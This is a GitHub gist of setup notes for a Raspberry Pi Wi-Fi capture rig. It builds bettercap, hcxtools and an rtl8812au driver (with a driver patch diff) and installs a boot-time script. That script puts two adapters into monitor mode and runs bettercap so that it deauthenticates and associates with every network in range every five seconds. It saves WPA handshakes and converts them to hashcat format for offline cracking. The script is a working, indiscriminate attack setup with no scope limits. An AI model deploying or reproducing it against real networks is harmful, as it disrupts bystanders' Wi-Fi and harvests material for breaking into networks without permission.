Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Last active September 20, 2024 16:52
Show Gist options
  • Save FrankSpierings/dce34fbaeb12d45c29587004d072dd17 to your computer and use it in GitHub Desktop.
Save FrankSpierings/dce34fbaeb12d45c29587004d072dd17 to your computer and use it in GitHub Desktop.
Raspberry PI - Wireless Capture Setup

Raspberry Pi Wireless Captures

From Host

  • Install using Raspberry Pi Manager; brew install raspberry-pi-imager

    • Configure ssh access
    • Configure initial wireless access
  • Additional access

    • Via serial console over usb; g_serial
      • Add modules-load=dwc2,g_serial to boot/cmdline.txt, (directly after rootwait )
      • Add to section [all] to boot/config.txt: dtoverlay=dwc2,dr_mode=peripheral
        • If you receive couldn't find an available UDC, it is likely that dr_mode is wrong!
          • Check the section
      • The console does not receive the prompt until the service is instructed to do so
      • Connect via screen -A /dev/tty.usbmodem*
        • Adjust rows and columns by
          • Finding size of the terminal in another terminal, using: tput lines; tput cols
          • Setting the size within screen using stty rows <lines> cols <cols>
        • Give it some color; export TERM=xterm-256color

From Raspberry PI

  • Expand the filesystem: sudo raspi-config --expand-rootfs; sudo reboot

  • Setup a wireless connection via raspi-config

  • Install required packages:

sudo apt update -y
sudo apt install -y tcpdump aircrack-ng tmux
  • Install bettercap and its dependencies:
sudo apt update -y
sudo apt install -y golang git libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev
mkdir source
cd source
git clone --recurse-submodules https://github.com/bettercap/bettercap.git
cd bettercap
# Checkout specific version, if there are issues..
# git checkout v2.33.0

# Build
make
# Install
go install

# copy bettercap to /usr/bin
sudo cp ~/go/bin/bettercap /usr/bin/
  • Change to predictable names?: rm -f /etc/systemd/network/99-default.link, make sure to adapt the script below and change to the correct WLAN interfaces!

  • Create a startup script using tmux

sudo -i
cat << "__EOF" > /root/wifi.sh
#!/bin/bash

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

export TMUX_SESSION=main
tmux new-session -s ${TMUX_SESSION} -d -n Logs 'while $true; do tail -f bettercap-events-*.log; sleep 10; done;'

tmux new-window -n Captures \
-d -t ${TMUX_SESSION} \
    'while $true; do clear; for filename in $(ls bettercap-wifi-handshakes-*.pcap); do tcpdump -r $filename 2>&1; done | grep -ioE "Beacon \(.*?\)"| sed "s/Beacon (\|)//g" | sort -u; sleep 10; done'

tmux new-window -n Handshakes \
        -d -t ${TMUX_SESSION} \
        'watch "rm bettercap.hashcat 2>/dev/null; hcxpcapngtool *.pcap -o bettercap.hashcat 1>/dev/null 2>&1 && hcxhashtool -i bettercap.hashcat --info=stdout | grep SSID | sort -u"'


WLAN=wlan1
cat << _EOF > /tmp/${WLAN}.cap
set wifi.interface ${WLAN}
set events.stream.output ~/bettercap-events-${WLAN}.log
set wifi.handshakes.file ~/bettercap-wifi-handshakes-${WLAN}.pcap
set ticker.commands wifi.deauth all; wifi.assoc all;
set ticker.period 5
events.stream off
events.stream on
ticker on
wifi.recon on
_EOF

ip link set ${WLAN} down
iw ${WLAN} set monitor none
ip link set ${WLAN} up

tmux new-window -n Bettercap-${WLAN} \
    -d -t ${TMUX_SESSION} \
    /usr/bin/bettercap \
    -iface eth0 \
    -caplet /tmp/${WLAN}

sleep 3

WLAN=wlan2
cat << _EOF > /tmp/${WLAN}.cap
set wifi.interface ${WLAN}
set events.stream.output ~/bettercap-events-${WLAN}.log
set wifi.handshakes.file ~/bettercap-wifi-handshakes-${WLAN}.pcap
set ticker.commands wifi.deauth all; wifi.assoc all;
set ticker.period 5
events.stream off
events.stream on
ticker on
wifi.recon on
_EOF

ip link set ${WLAN} down
iw ${WLAN} set monitor none
ip link set ${WLAN}  up

tmux new-window -n Bettercap-${WLAN} \
    -d -t ${TMUX_SESSION} \
    /usr/bin/bettercap \
    -iface eth0 \
    -caplet /tmp/${WLAN}

#tmux new-window -n Airodump \
#    -d -t ${TMUX_SESSION} \
#    airodump-ng -i wlan0 \
#    -w /root/capture/airodump \
#    --manufacturer
__EOF

chmod 700 /root/wifi.sh

cat << _EOF > /etc/cron.d/wifi
@reboot root /root/wifi.sh
_EOF
  • Install hashcat conversion tool
cd ~/source
git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
sudo apt install -y libssl-dev libcurl4-openssl-dev
make
sudo make install

# Example, the last field in the hashcat file is hex encoded SSID
# hcxpcapngtool *.pcap -o bettercap.hashcat --csv=bettercap.hashcat.csv --log=bettercap.hashcat.log

Alfa AWUS1900

Current

Previous

  • Install requirements
  • Working version: 5.2.20.2
sudo apt update && apt upgrade -y
sudo apt install --reinstall raspberrypi-bootloader raspberrypi-kernel
sudo -i

apt-get install -y dkms git bc raspberrypi-kernel-headers
cd ~/
git clone -b v5.2.20 https://github.com/aircrack-ng/rtl8812au.git
cd rtl*

sed -i 's/CONFIG_PLATFORM_I386_PC = y/CONFIG_PLATFORM_I386_PC = n/g' Makefile
sed -i 's/CONFIG_PLATFORM_ARM_RPI = n/CONFIG_PLATFORM_ARM_RPI = y/g' Makefile

sed -i 's/^dkms build/ARCH=arm dkms build/' dkms-install.sh
sed -i 's/^MAKE="/MAKE="ARCH=arm\ /' dkms.conf

./dkms-install.sh
  • Any errors? Check: https://github.com/aircrack-ng/rtl8812au

  • Changing the version of the driver can be done by switching branches Eg; git checkout origin/v5.3.4 and compiling it in the same way.

  • Changing compiled drivers can be done by:

dkms status
rmmod 88XXau
dkms install --force rtl8812au/5.3.4
modprobe 88XXau

#Change back
dkms status
rmmod 88XXau
dkms install --force rtl8812au/5.2.20.2
modprobe 88XXau

Prevent WPA_Supplicant autostart

  • sudo systemctl mask wpa_supplicant.service
  • Add the nohook:

/etc/dhcpcd.conf:

denyinterfaces wlan0 wlan1

interface wlan0
        nohook wpa_supplicant

interface wlan1
        nohook wpa_supplicant

Prevent AVAHI autostart

systemctl mask avahi-daemon.service

Attaching

  • You can attach to the console using
sudo tmux a

Tips

  • It is better to set the channel specifically in Bettercap:

    • wifi.recon.channel 11 and to clear wifi.recon.channel clear
  • Sometimes its good to dump using tcpdump: tcpdump -i wlan0 -w /tmp/capture

diff --git a/core/rtw_br_ext.c b/core/rtw_br_ext.c
index 9a0effd..28640d4 100755
--- a/core/rtw_br_ext.c
+++ b/core/rtw_br_ext.c
@@ -17,7 +17,7 @@
#ifdef __KERNEL__
#include <linux/if_arp.h>
#include <net/ip.h>
- #include <net/ipx.h>
+ // #include <net/ipx.h>
#include <linux/atalk.h>
#include <linux/udp.h>
#include <linux/if_pppox.h>
@@ -889,226 +889,226 @@ int nat25_db_handle(_adapter *priv, struct sk_buff *skb, int method)
}
}
- /*---------------------------------------------------*/
- /* Handle IPX and Apple Talk frame */
- /*---------------------------------------------------*/
- else if ((protocol == __constant_htons(ETH_P_IPX)) ||
- (protocol == __constant_htons(ETH_P_ATALK)) ||
- (protocol == __constant_htons(ETH_P_AARP))) {
- unsigned char ipx_header[2] = {0xFF, 0xFF};
- struct ipxhdr *ipx = NULL;
- struct elapaarp *ea = NULL;
- struct ddpehdr *ddp = NULL;
- unsigned char *framePtr = skb->data + ETH_HLEN;
-
- if (protocol == __constant_htons(ETH_P_IPX)) {
- RTW_INFO("NAT25: Protocol=IPX (Ethernet II)\n");
- ipx = (struct ipxhdr *)framePtr;
- } else { /* if(protocol <= __constant_htons(ETH_FRAME_LEN)) */
- if (!memcmp(ipx_header, framePtr, 2)) {
- RTW_INFO("NAT25: Protocol=IPX (Ethernet 802.3)\n");
- ipx = (struct ipxhdr *)framePtr;
- } else {
- unsigned char ipx_8022_type = 0xE0;
- unsigned char snap_8022_type = 0xAA;
-
- if (*framePtr == snap_8022_type) {
- unsigned char ipx_snap_id[5] = {0x0, 0x0, 0x0, 0x81, 0x37}; /* IPX SNAP ID */
- unsigned char aarp_snap_id[5] = {0x00, 0x00, 0x00, 0x80, 0xF3}; /* Apple Talk AARP SNAP ID */
- unsigned char ddp_snap_id[5] = {0x08, 0x00, 0x07, 0x80, 0x9B}; /* Apple Talk DDP SNAP ID */
-
- framePtr += 3; /* eliminate the 802.2 header */
-
- if (!memcmp(ipx_snap_id, framePtr, 5)) {
- framePtr += 5; /* eliminate the SNAP header */
-
- RTW_INFO("NAT25: Protocol=IPX (Ethernet SNAP)\n");
- ipx = (struct ipxhdr *)framePtr;
- } else if (!memcmp(aarp_snap_id, framePtr, 5)) {
- framePtr += 5; /* eliminate the SNAP header */
-
- ea = (struct elapaarp *)framePtr;
- } else if (!memcmp(ddp_snap_id, framePtr, 5)) {
- framePtr += 5; /* eliminate the SNAP header */
-
- ddp = (struct ddpehdr *)framePtr;
- } else {
- DEBUG_WARN("NAT25: Protocol=Ethernet SNAP %02x%02x%02x%02x%02x\n", framePtr[0],
- framePtr[1], framePtr[2], framePtr[3], framePtr[4]);
- return -1;
- }
- } else if (*framePtr == ipx_8022_type) {
- framePtr += 3; /* eliminate the 802.2 header */
-
- if (!memcmp(ipx_header, framePtr, 2)) {
- RTW_INFO("NAT25: Protocol=IPX (Ethernet 802.2)\n");
- ipx = (struct ipxhdr *)framePtr;
- } else
- return -1;
- }
- }
- }
-
- /* IPX */
- if (ipx != NULL) {
- switch (method) {
- case NAT25_CHECK:
- if (!memcmp(skb->data + ETH_ALEN, ipx->ipx_source.node, ETH_ALEN)) {
- RTW_INFO("NAT25: Check IPX skb_copy\n");
- return 0;
- }
- return -1;
-
- case NAT25_INSERT: {
- RTW_INFO("NAT25: Insert IPX, Dest=%08x,%02x%02x%02x%02x%02x%02x,%04x Source=%08x,%02x%02x%02x%02x%02x%02x,%04x\n",
- ipx->ipx_dest.net,
- ipx->ipx_dest.node[0],
- ipx->ipx_dest.node[1],
- ipx->ipx_dest.node[2],
- ipx->ipx_dest.node[3],
- ipx->ipx_dest.node[4],
- ipx->ipx_dest.node[5],
- ipx->ipx_dest.sock,
- ipx->ipx_source.net,
- ipx->ipx_source.node[0],
- ipx->ipx_source.node[1],
- ipx->ipx_source.node[2],
- ipx->ipx_source.node[3],
- ipx->ipx_source.node[4],
- ipx->ipx_source.node[5],
- ipx->ipx_source.sock);
-
- if (!memcmp(skb->data + ETH_ALEN, ipx->ipx_source.node, ETH_ALEN)) {
- RTW_INFO("NAT25: Use IPX Net, and Socket as network addr\n");
-
- __nat25_generate_ipx_network_addr_with_socket(networkAddr, &ipx->ipx_source.net, &ipx->ipx_source.sock);
-
- /* change IPX source node addr to wlan STA address */
- memcpy(ipx->ipx_source.node, GET_MY_HWADDR(priv), ETH_ALEN);
- } else
- __nat25_generate_ipx_network_addr_with_node(networkAddr, &ipx->ipx_source.net, ipx->ipx_source.node);
+ // /*---------------------------------------------------*/
+ // /* Handle IPX and Apple Talk frame */
+ // /*---------------------------------------------------*/
+ // else if ((protocol == __constant_htons(ETH_P_IPX)) ||
+ // (protocol == __constant_htons(ETH_P_ATALK)) ||
+ // (protocol == __constant_htons(ETH_P_AARP))) {
+ // unsigned char ipx_header[2] = {0xFF, 0xFF};
+ // struct ipxhdr *ipx = NULL;
+ // struct elapaarp *ea = NULL;
+ // struct ddpehdr *ddp = NULL;
+ // unsigned char *framePtr = skb->data + ETH_HLEN;
+
+ // if (protocol == __constant_htons(ETH_P_IPX)) {
+ // RTW_INFO("NAT25: Protocol=IPX (Ethernet II)\n");
+ // ipx = (struct ipxhdr *)framePtr;
+ // } else { /* if(protocol <= __constant_htons(ETH_FRAME_LEN)) */
+ // if (!memcmp(ipx_header, framePtr, 2)) {
+ // RTW_INFO("NAT25: Protocol=IPX (Ethernet 802.3)\n");
+ // ipx = (struct ipxhdr *)framePtr;
+ // } else {
+ // unsigned char ipx_8022_type = 0xE0;
+ // unsigned char snap_8022_type = 0xAA;
+
+ // if (*framePtr == snap_8022_type) {
+ // unsigned char ipx_snap_id[5] = {0x0, 0x0, 0x0, 0x81, 0x37}; /* IPX SNAP ID */
+ // unsigned char aarp_snap_id[5] = {0x00, 0x00, 0x00, 0x80, 0xF3}; /* Apple Talk AARP SNAP ID */
+ // unsigned char ddp_snap_id[5] = {0x08, 0x00, 0x07, 0x80, 0x9B}; /* Apple Talk DDP SNAP ID */
+
+ // framePtr += 3; /* eliminate the 802.2 header */
+
+ // if (!memcmp(ipx_snap_id, framePtr, 5)) {
+ // framePtr += 5; /* eliminate the SNAP header */
+
+ // RTW_INFO("NAT25: Protocol=IPX (Ethernet SNAP)\n");
+ // ipx = (struct ipxhdr *)framePtr;
+ // } else if (!memcmp(aarp_snap_id, framePtr, 5)) {
+ // framePtr += 5; /* eliminate the SNAP header */
+
+ // ea = (struct elapaarp *)framePtr;
+ // } else if (!memcmp(ddp_snap_id, framePtr, 5)) {
+ // framePtr += 5; /* eliminate the SNAP header */
+
+ // ddp = (struct ddpehdr *)framePtr;
+ // } else {
+ // DEBUG_WARN("NAT25: Protocol=Ethernet SNAP %02x%02x%02x%02x%02x\n", framePtr[0],
+ // framePtr[1], framePtr[2], framePtr[3], framePtr[4]);
+ // return -1;
+ // }
+ // } else if (*framePtr == ipx_8022_type) {
+ // framePtr += 3; /* eliminate the 802.2 header */
+
+ // if (!memcmp(ipx_header, framePtr, 2)) {
+ // RTW_INFO("NAT25: Protocol=IPX (Ethernet 802.2)\n");
+ // ipx = (struct ipxhdr *)framePtr;
+ // } else
+ // return -1;
+ // }
+ // }
+ // }
+
+ // /* IPX */
+ // if (ipx != NULL) {
+ // switch (method) {
+ // case NAT25_CHECK:
+ // if (!memcmp(skb->data + ETH_ALEN, ipx->ipx_source.node, ETH_ALEN)) {
+ // RTW_INFO("NAT25: Check IPX skb_copy\n");
+ // return 0;
+ // }
+ // return -1;
+
+ // case NAT25_INSERT: {
+ // RTW_INFO("NAT25: Insert IPX, Dest=%08x,%02x%02x%02x%02x%02x%02x,%04x Source=%08x,%02x%02x%02x%02x%02x%02x,%04x\n",
+ // ipx->ipx_dest.net,
+ // ipx->ipx_dest.node[0],
+ // ipx->ipx_dest.node[1],
+ // ipx->ipx_dest.node[2],
+ // ipx->ipx_dest.node[3],
+ // ipx->ipx_dest.node[4],
+ // ipx->ipx_dest.node[5],
+ // ipx->ipx_dest.sock,
+ // ipx->ipx_source.net,
+ // ipx->ipx_source.node[0],
+ // ipx->ipx_source.node[1],
+ // ipx->ipx_source.node[2],
+ // ipx->ipx_source.node[3],
+ // ipx->ipx_source.node[4],
+ // ipx->ipx_source.node[5],
+ // ipx->ipx_source.sock);
+
+ // if (!memcmp(skb->data + ETH_ALEN, ipx->ipx_source.node, ETH_ALEN)) {
+ // RTW_INFO("NAT25: Use IPX Net, and Socket as network addr\n");
+
+ // __nat25_generate_ipx_network_addr_with_socket(networkAddr, &ipx->ipx_source.net, &ipx->ipx_source.sock);
+
+ // /* change IPX source node addr to wlan STA address */
+ // memcpy(ipx->ipx_source.node, GET_MY_HWADDR(priv), ETH_ALEN);
+ // } else
+ // __nat25_generate_ipx_network_addr_with_node(networkAddr, &ipx->ipx_source.net, ipx->ipx_source.node);
+
+ // __nat25_db_network_insert(priv, skb->data + ETH_ALEN, networkAddr);
+
+ // __nat25_db_print(priv);
+ // }
+ // return 0;
+
+ // case NAT25_LOOKUP: {
+ // if (!memcmp(GET_MY_HWADDR(priv), ipx->ipx_dest.node, ETH_ALEN)) {
+ // RTW_INFO("NAT25: Lookup IPX, Modify Destination IPX Node addr\n");
+
+ // __nat25_generate_ipx_network_addr_with_socket(networkAddr, &ipx->ipx_dest.net, &ipx->ipx_dest.sock);
+
+ // __nat25_db_network_lookup_and_replace(priv, skb, networkAddr);
+
+ // /* replace IPX destination node addr with Lookup destination MAC addr */
+ // memcpy(ipx->ipx_dest.node, skb->data, ETH_ALEN);
+ // } else {
+ // __nat25_generate_ipx_network_addr_with_node(networkAddr, &ipx->ipx_dest.net, ipx->ipx_dest.node);
+
+ // __nat25_db_network_lookup_and_replace(priv, skb, networkAddr);
+ // }
+ // }
+ // return 0;
+
+ // default:
+ // return -1;
+ // }
+ // }
+
+ // /* AARP */
+ // else if (ea != NULL) {
+ // /* Sanity check fields. */
+ // if (ea->hw_len != ETH_ALEN || ea->pa_len != AARP_PA_ALEN) {
+ // DEBUG_WARN("NAT25: Appletalk AARP Sanity check fail!\n");
+ // return -1;
+ // }
+
+ // switch (method) {
+ // case NAT25_CHECK:
+ // return 0;
+
+ // case NAT25_INSERT: {
+ // /* change to AARP source mac address to wlan STA address */
+ // memcpy(ea->hw_src, GET_MY_HWADDR(priv), ETH_ALEN);
+
+ // RTW_INFO("NAT25: Insert AARP, Source=%d,%d Destination=%d,%d\n",
+ // ea->pa_src_net,
+ // ea->pa_src_node,
+ // ea->pa_dst_net,
+ // ea->pa_dst_node);
+
+ // __nat25_generate_apple_network_addr(networkAddr, &ea->pa_src_net, &ea->pa_src_node);
+
+ // __nat25_db_network_insert(priv, skb->data + ETH_ALEN, networkAddr);
+
+ // __nat25_db_print(priv);
+ // }
+ // return 0;
+
+ // case NAT25_LOOKUP: {
+ // RTW_INFO("NAT25: Lookup AARP, Source=%d,%d Destination=%d,%d\n",
+ // ea->pa_src_net,
+ // ea->pa_src_node,
+ // ea->pa_dst_net,
+ // ea->pa_dst_node);
+
+ // __nat25_generate_apple_network_addr(networkAddr, &ea->pa_dst_net, &ea->pa_dst_node);
+
+ // __nat25_db_network_lookup_and_replace(priv, skb, networkAddr);
+
+ // /* change to AARP destination mac address to Lookup result */
+ // memcpy(ea->hw_dst, skb->data, ETH_ALEN);
+ // }
+ // return 0;
+
+ // default:
+ // return -1;
+ // }
+ // }
+
+ // /* DDP */
+ // else if (ddp != NULL) {
+ // switch (method) {
+ // case NAT25_CHECK:
+ // return -1;
+
+ // case NAT25_INSERT: {
+ // RTW_INFO("NAT25: Insert DDP, Source=%d,%d Destination=%d,%d\n",
+ // ddp->deh_snet,
+ // ddp->deh_snode,
+ // ddp->deh_dnet,
+ // ddp->deh_dnode);
- __nat25_db_network_insert(priv, skb->data + ETH_ALEN, networkAddr);
-
- __nat25_db_print(priv);
- }
- return 0;
-
- case NAT25_LOOKUP: {
- if (!memcmp(GET_MY_HWADDR(priv), ipx->ipx_dest.node, ETH_ALEN)) {
- RTW_INFO("NAT25: Lookup IPX, Modify Destination IPX Node addr\n");
-
- __nat25_generate_ipx_network_addr_with_socket(networkAddr, &ipx->ipx_dest.net, &ipx->ipx_dest.sock);
-
- __nat25_db_network_lookup_and_replace(priv, skb, networkAddr);
-
- /* replace IPX destination node addr with Lookup destination MAC addr */
- memcpy(ipx->ipx_dest.node, skb->data, ETH_ALEN);
- } else {
- __nat25_generate_ipx_network_addr_with_node(networkAddr, &ipx->ipx_dest.net, ipx->ipx_dest.node);
-
- __nat25_db_network_lookup_and_replace(priv, skb, networkAddr);
- }
- }
- return 0;
-
- default:
- return -1;
- }
- }
-
- /* AARP */
- else if (ea != NULL) {
- /* Sanity check fields. */
- if (ea->hw_len != ETH_ALEN || ea->pa_len != AARP_PA_ALEN) {
- DEBUG_WARN("NAT25: Appletalk AARP Sanity check fail!\n");
- return -1;
- }
+ // __nat25_generate_apple_network_addr(networkAddr, &ddp->deh_snet, &ddp->deh_snode);
- switch (method) {
- case NAT25_CHECK:
- return 0;
-
- case NAT25_INSERT: {
- /* change to AARP source mac address to wlan STA address */
- memcpy(ea->hw_src, GET_MY_HWADDR(priv), ETH_ALEN);
-
- RTW_INFO("NAT25: Insert AARP, Source=%d,%d Destination=%d,%d\n",
- ea->pa_src_net,
- ea->pa_src_node,
- ea->pa_dst_net,
- ea->pa_dst_node);
-
- __nat25_generate_apple_network_addr(networkAddr, &ea->pa_src_net, &ea->pa_src_node);
-
- __nat25_db_network_insert(priv, skb->data + ETH_ALEN, networkAddr);
-
- __nat25_db_print(priv);
- }
- return 0;
-
- case NAT25_LOOKUP: {
- RTW_INFO("NAT25: Lookup AARP, Source=%d,%d Destination=%d,%d\n",
- ea->pa_src_net,
- ea->pa_src_node,
- ea->pa_dst_net,
- ea->pa_dst_node);
-
- __nat25_generate_apple_network_addr(networkAddr, &ea->pa_dst_net, &ea->pa_dst_node);
-
- __nat25_db_network_lookup_and_replace(priv, skb, networkAddr);
-
- /* change to AARP destination mac address to Lookup result */
- memcpy(ea->hw_dst, skb->data, ETH_ALEN);
- }
- return 0;
-
- default:
- return -1;
- }
- }
-
- /* DDP */
- else if (ddp != NULL) {
- switch (method) {
- case NAT25_CHECK:
- return -1;
-
- case NAT25_INSERT: {
- RTW_INFO("NAT25: Insert DDP, Source=%d,%d Destination=%d,%d\n",
- ddp->deh_snet,
- ddp->deh_snode,
- ddp->deh_dnet,
- ddp->deh_dnode);
-
- __nat25_generate_apple_network_addr(networkAddr, &ddp->deh_snet, &ddp->deh_snode);
-
- __nat25_db_network_insert(priv, skb->data + ETH_ALEN, networkAddr);
-
- __nat25_db_print(priv);
- }
- return 0;
-
- case NAT25_LOOKUP: {
- RTW_INFO("NAT25: Lookup DDP, Source=%d,%d Destination=%d,%d\n",
- ddp->deh_snet,
- ddp->deh_snode,
- ddp->deh_dnet,
- ddp->deh_dnode);
-
- __nat25_generate_apple_network_addr(networkAddr, &ddp->deh_dnet, &ddp->deh_dnode);
-
- __nat25_db_network_lookup_and_replace(priv, skb, networkAddr);
- }
- return 0;
-
- default:
- return -1;
- }
- }
-
- return -1;
- }
+ // __nat25_db_network_insert(priv, skb->data + ETH_ALEN, networkAddr);
+
+ // __nat25_db_print(priv);
+ // }
+ // return 0;
+
+ // case NAT25_LOOKUP: {
+ // RTW_INFO("NAT25: Lookup DDP, Source=%d,%d Destination=%d,%d\n",
+ // ddp->deh_snet,
+ // ddp->deh_snode,
+ // ddp->deh_dnet,
+ // ddp->deh_dnode);
+
+ // __nat25_generate_apple_network_addr(networkAddr, &ddp->deh_dnet, &ddp->deh_dnode);
+
+ // __nat25_db_network_lookup_and_replace(priv, skb, networkAddr);
+ // }
+ // return 0;
+
+ // default:
+ // return -1;
+ // }
+ // }
+
+ // return -1;
+ // }
/*---------------------------------------------------*/
/* Handle PPPoE frame */
diff --git a/os_dep/linux/recv_linux.c b/os_dep/linux/recv_linux.c
index da9a84b..5e85a73 100755
--- a/os_dep/linux/recv_linux.c
+++ b/os_dep/linux/recv_linux.c
@@ -355,8 +355,9 @@ static int napi_recv(_adapter *padapter, int budget)
#ifdef CONFIG_RTW_GRO
if (pregistrypriv->en_gro) {
- if (rtw_napi_gro_receive(&padapter->napi, pskb) != GRO_DROP)
- rx_ok = _TRUE;
+ // if (rtw_napi_gro_receive(&padapter->napi, pskb) != GRO_DROP)
+ rtw_napi_gro_receive(&padapter->napi, pskb);
+ rx_ok = _TRUE;
goto next;
}
#endif /* CONFIG_RTW_GRO */
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment